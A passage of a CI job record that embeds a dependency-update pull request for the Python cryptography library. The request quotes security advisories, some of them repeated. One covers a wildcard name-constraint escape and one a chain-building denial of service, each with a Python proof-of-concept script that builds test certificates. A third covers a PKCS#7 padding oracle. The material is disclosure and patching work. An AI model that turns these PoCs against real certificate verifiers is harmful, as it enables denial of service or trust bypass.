        wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
        \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
        (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
        further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
        and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
        cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
        cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
        import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
        Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
        1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
        build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
        \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
        \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
        - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
        path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
        c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
        = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
        = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
        = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
        \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n#####
        Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk =
        ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
        = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol =
        ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
        Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
        \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n
        \   .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
        ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
        \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
        though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
        as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
        of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
        Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
        [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
        [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        python-cryptography: Duplicate self-signed intermediates can cause exponential
        path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
        / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
        / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
        Details\n##### Summary\nWhen resolving invalid certificate chains that include
        duplicate copies of self-signed certificates, the processing recursively invokes
        the same candidate, leading to an exponential blowup. Although the limitation
        that the chain depth cannot exceed a specified maximum depth prevents unbounded
        recursion and guarantees termination, an attacker-controlled certificate chain
        can lead the processing to easily take more than 5s to reject in testing.
        This amplification could form the basis for a resource exhaustion denial of
        service attack.\n\nThis work was completed by Trail of Bits as part of the
        Patch The Planet project in collaboration with OpenAI. The finding was identified
        primarily by the Codex coding agent, and manually reviewed before submission.
        \n\n##### Details\nThe core issue arises in the recursive nature of `build_chain_inner`,
        which does not de-duplicate against previously analyzed candidates.\n\n```python\n
        \   fn build_chain_inner(\n        &self,\n        working_cert: &VerificationCertificate<'chain,
        B>,\n        current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
        \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
        \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let Some(nc)
        = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(&nc.value()?,
        budget)?;\n        }\n\n        // Look in the store's root set to see if
        the working cert is listed.\n        // If it is, we've reached the end.\n
        \       if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
        \       }\n\n        // Check that our current depth does not exceed our policy-configured\n
        \       // max depth. We do this after the root set check, since the depth\n
        \       // only measures the intermediate chain's length, not the root or
        leaf.\n        if current_depth > self.policy.max_chain_depth {\n            return
        Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain
        construction exceeds max depth\".into(),\n            )));\n        }\n\n
        \       // Otherwise, we collect a list of potential issuers for this cert,\n
        \       // and continue with the first that verifies.\n        let mut last_err:
        Option<ValidationError<'_, B>> = None;\n        for issuing_cert_candidate
        in self.potential_issuers(working_cert) {\n            // A candidate issuer
        is said to verify if it both\n            // signs for the working certificate
        and conforms to the\n            // policy.\n            let issuer_extensions
        = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n
        \               issuing_cert_candidate,\n                working_cert,\n                current_depth,\n
        \               &issuer_extensions,\n            ) {\n                Ok(_)
        => {\n                    match self.build_chain_inner(\n```\n\nA sufficient
        patch is to track valid issuers, and to skip seen ones before recursing. By
        tracking valid issuers only, validation and custom extension-policy callbacks
        still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain,
        B>>::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert)
        {\n          . . .\n                  Ok(_) => {\n                      if
        seen_valid_issuers.contains(&issuing_cert_candidate) {\n                         continue;\n
        \                     }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
        \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
        \                         // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn
        testing, this fix removed the exponential blowup without breaking apparent
        correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
        -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
        -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
        -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
        \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
        PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport
        datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom
        cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom
        cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid
        import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import
        (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
        = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n
        \   decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n
        \   return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n
        \       .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n
        \       .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW
        + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n
        \   cert = (\n        base_builder(subject, subject, private_key.public_key(),
        serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None),
        True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
        \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
        \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
        \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
        \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
        100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
        True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
        False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
        \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
        False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
        \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
        unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
        looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
        max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
        \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
        \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
        \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
        [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
        \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
        - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
        \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
        max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
        \   if process.is_alive():\n        process.terminate()\n        process.join()\n
        \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
        \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
        __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
        \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6,
        6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes an
        amplification pathway over data that in many applications may be user-controlled,
        leading to the possibility of a denial of service through resource exhaustion.
        As the correctness of validation is not affected, the integrity of a system
        cannot be compromised through this vector, only its availability.\n\n####
        Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
        [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
        [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
        [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
        [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3553) and
        the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
        python-cryptography verifier accepts wildcard DNS names allowing escape from
        permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
        / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
        / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
        Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
        name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
        SAN of `*.example.com`, python-cryptography's verifier accepts which allows
        escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
        python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
        wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
        \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
        (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
        further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
        and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
        cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
        cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
        import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
        Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
        1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
        build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
        \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
        \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
        - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
        path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
        c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
        = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
        = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
        = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
        \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n#####
        Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk =
        ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
        = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol =
        ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
        Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
        \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n
        \   .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
        ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
        \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
        though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
        as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
        of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
        Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
        [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
        [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
        [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
        [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3554) and
        the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
        cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
        through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
        / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
        / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
        Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime`
        reported the\noutcome of decrypting a `RecipientInfo`'s `encryptedKey` in
        several\ndistinguishable ways, one of which disclosed the exact length recovered
        from the\nRSA operation. The same distinction was also observable by timing.
        An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects
        the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption
        key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption
        ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher
        from the result \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
        with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
        failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
        AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
        bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
        the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
        and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
        returns a synthetic plaintext of\npseudorandom length, so the error channel
        does not distinguish conforming\nciphertexts.\n\nExploitation requires a service
        that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
        and answers adaptively at high volume, such as\nan S/MIME gateway or mail
        filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
        now resolved before the\nprivate key is used, so the expected key length is
        known in advance. If the RSA\ndecryption fails or recovers a key of the wrong
        length, a random key of the\nexpected length is substituted and decryption
        continues down an identical path.\nAll failures now report identically and
        perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
        does not authenticate its content. Tampering with\n`encryptedContent` alone
        yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
        per byte, without recovering any key, on every backend. This\nis a property
        of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
        and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
        Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
        [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
        [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
        through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
        / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
        / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
        Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime`
        reported the\noutcome of decrypting a `RecipientInfo`'s `encryptedKey` in
        several\ndistinguishable ways, one of which disclosed the exact length recovered
        from the\nRSA operation. The same distinction was also observable by timing.
        An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects
        the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption
        key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption
        ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher
        from the result \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
        with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
        failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
        AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
        bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
        the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
        and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
        returns a synthetic plaintext of\npseudorandom length, so the error channel
        does not distinguish conforming\nciphertexts.\n\nExploitation requires a service
        that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
        and answers adaptively at high volume, such as\nan S/MIME gateway or mail
        filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
        now resolved before the\nprivate key is used, so the expected key length is
        known in advance. If the RSA\ndecryption fails or recovers a key of the wrong
        length, a random key of the\nexpected length is substituted and decryption
        continues down an identical path.\nAll failures now report identically and
        perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
        does not authenticate its content. Tampering with\n`encryptedContent` alone
        yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
        per byte, without recovering any key, on every backend. This\nis a property
        of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
        and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
        Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
        [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
        [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
        [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
        [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3552) and
        the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
        [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
        [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
        defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
        manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
        conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
        Close this PR and you won't be reminded about this update again.\n\n---\n\n
        - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
        box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
        View the [repository job log](https://developer.mend.io/github/osism/container-image-osism-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4xMS40IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
      change_url: https://github.com/osism/container-image-osism-ansible/pull/767
      child_jobs: []
      commit_id: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
      event_id: 33541fe0-958b-11f1-9d0c-28bec176143e
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/5b4a4dd1bddb4c83872d47479c1b2c7e/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/5b4a4dd1bddb4c83872d47479c1b2c7e/work/logs
        result_data_file: /var/lib/zuul/builds/5b4a4dd1bddb4c83872d47479c1b2c7e/work/results.json
        src_root: /var/lib/zuul/builds/5b4a4dd1bddb4c83872d47479c1b2c7e/work/src
        work_root: /var/lib/zuul/builds/5b4a4dd1bddb4c83872d47479c1b2c7e/work
      include_vars: []
      items:
      - branch: main
        change: '767'
        change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
          |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates
          can cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nWhen resolving invalid certificate chains that include
          duplicate copies of self-signed certificates, the processing recursively
          invokes the same candidate, leading to an exponential blowup. Although the
          limitation that the chain depth cannot exceed a specified maximum depth
          prevents unbounded recursion and guarantees termination, an attacker-controlled
          certificate chain can lead the processing to easily take more than 5s to
          reject in testing. This amplification could form the basis for a resource
          exhaustion denial of service attack.\n\nThis work was completed by Trail
          of Bits as part of the Patch The Planet project in collaboration with OpenAI.
